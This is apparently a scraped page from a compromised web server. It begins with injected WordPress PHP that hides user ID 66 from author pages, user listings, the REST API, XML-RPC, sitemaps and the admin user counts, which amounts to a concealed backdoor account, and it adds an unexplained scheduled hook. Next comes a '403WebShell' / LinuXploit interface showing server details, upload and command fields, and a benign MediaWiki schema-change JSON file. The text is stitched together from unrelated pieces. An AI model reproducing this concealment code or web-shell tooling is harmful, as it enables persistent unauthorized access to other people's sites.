add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/sql/abstractSchemaChanges/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/sql/abstractSchemaChanges/patch-searchindex-pk-titlelength.json
{
	"comment": "Searchindex with PK (T249976), InnoDB (T107875), larger title (T231827)",
	"before": {
		"columns": [
			{
				"name": "si_page",
				"type": "integer",
				"comment": "Key to page_id",
				"options": {
					"notnull": true,
					"unsigned": true
				}
			},
			{
				"name": "si_title",
				"type": "string",
				"comment": "Munged version of title",
				"options": {
					"default": "",
					"length": 255,
					"notnull": true
				}
			},
			{
				"name": "si_text",
				"type": "text",
				"comment": "Munged version of body text",
				"options": {
					"length": 16777215,
					"notnull": true
				}
			}
		],
		"comment": "search backend, this is actively used in MySQL but created and not used in Postgres while there are plans to use it in the future (T220450). This table must be MyISAM in MySQL; InnoDB does not support the needed fulltext index.",
		"indexes": [
			{
				"name": "si_page",
				"columns": [
					"si_page"
				],
				"unique": true
			},
			{
				"name": "si_title",
				"columns": [
					"si_title"
				],
				"flags": [
					"fulltext"
				],
				"unique": false
			},
			{
				"name": "si_text",
				"columns": [
					"si_text"
				],
				"flags": [
					"fulltext"
				],
				"unique": false
			}
		],
		"name": "searchindex",
		"pk": [],
		"table_options": [
			"ENGINE=MyISAM",
			"DEFAULT CHARSET=utf8"
		]
	},
	"after": {
		"columns": [
			{
				"name": "si_page",
				"type": "integer",
				"comment": "Key to page_id",
				"options": {
					"notnull": true,
					"unsigned": true
				}
			},
			{
				"name": "si_title",
				"type": "string",
				"comment": "Munged version of title",
				"options": {
					"length": 16777215,
					"notnull": true
				}
			},
			{
				"name": "si_text",
				"type": "text",
				"comment": "Munged version of body text",
				"options": {
					"length": 16777215,
					"notnull": true
				}
			}
		],
		"comment": "search backend, this is actively used in MySQL but created and not used in Postgres while there are plans to use it in the future (T220450). This table must be MyISAM in MySQL; InnoDB does not support the needed fulltext index.",
		"indexes": [
			{
				"name": "si_title",
				"columns": [
					"si_title"
				],
				"flags": [
					"fulltext"
				],
				"unique": false
			},
			{
				"name": "si_text",
				"columns": [
					"si_text"
				],
				"flags": [
					"fulltext"
				],
				"unique": false
			}
		],
		"name": "searchindex",
		"pk": [ "si_page" ],
		"table_options": [
			"ENGINE=MyISAM",
			"DEFAULT CHARSET=utf8mb4"
		]
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit